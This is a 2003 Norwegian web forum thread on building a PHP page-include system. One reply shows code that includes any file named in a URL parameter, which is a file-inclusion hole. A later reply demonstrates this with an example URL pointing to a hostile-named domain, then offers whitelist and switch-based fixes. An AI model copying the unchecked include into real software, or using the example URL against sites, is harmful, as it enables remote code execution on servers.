Bluebeans Skrevet 28. mai 2003 Del Skrevet 28. mai 2003 Jeg lurer på om noen kan hjelpe meg. Jeg skal ha et include system på siden min. Eks:http://mydomain.no/index.php?id=noerartno Dette skal jeg ha for å spare plass+at det er lettere å skifte design. Da lurer jeg på: Skal jeg "kopiere" indexen, sette inn include's på de og så skifte navn til index.php?id=noerartno? Skjønte noen det? Hjelp! Lenke til kommentar
Egil.B Skrevet 28. mai 2003 Del Skrevet 28. mai 2003 det enkleste er jo å si at du f eks har hovedfilen index.php Der du vil at innholdet skal inkluderes fra andre filer (som ie en tabellcelle, skrver du da <?php $page = $_GET['page']; if(file_exists($page)) { include($page); } ?> Da lager du bare en fil for hver side du vil ha, f eks home, bilde, linker osv, og skriver http://mydomain.com/mysite/index.php?page=home så inkluderes innholdet i filen home. Du kan selvfølgelig også bruke $page.php, slik at du får en mer oversiktelig filstruktur på siden. Ofte lar jeg bare sidene hete home osv, uten extensions. Skal du ha oen flerne script i sidene kan det være greit å kalle dem .php, slik at apache uansett parser dem om noen skulle få lyst til å gå dirkete til sidene. Lenke til kommentar
sven-o Skrevet 1. juni 2003 Del Skrevet 1. juni 2003 Men du bør tenke litt sikkerhet før du gjør det på den overnevnte måten! I det tilfellet kan en slem person lett inkludere slemme script, f.eks slik: http://mydomain.com/mysite/index.php?page=http://slemtdomene.ond/evil.php Ikke bra. Derfor må du i index ha en liste(array) over hvilke sider som er lovlige, f.eks: <?php $page = $_GET['page']; $lovlige = array ('index.php', 'noerartno.php'); if (in_array($page, $lovlige)) { include($page); } else { include('index.php'); } ?> Lenke til kommentar
togge@ck Skrevet 3. juni 2003 Del Skrevet 3. juni 2003 En annen måte å gjøre det: :wink: <?php $page = $_GET['page']; switch ($page) { case index: include("index.php"); break; case noerartno: include("noerartno.php"); break; default: include("index.php"); break; } ?> Det gir deg også muligheten for å mekke litt kode for hver $page ... bare et forslag Lenke til kommentar
sven-o Skrevet 3. juni 2003 Del Skrevet 3. juni 2003 En annen måte å gjøre det: :wink: <?php $page = $_GET['page']; switch ($page) { case index: include("index.php"); break; case noerartno: include("noerartno.php"); break; default: include("index.php"); break; } ?> Det gir deg også muligheten for å mekke litt kode for hver $page ... bare et forslag Jepp, men siden arrays i php er dynamiske, ville jeg nok foretrekke å bruke godkjenning vha. array. Da har du også muligheten til å legge til lovlige sider programmatisk, f.eks. fra en database. :wink: Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå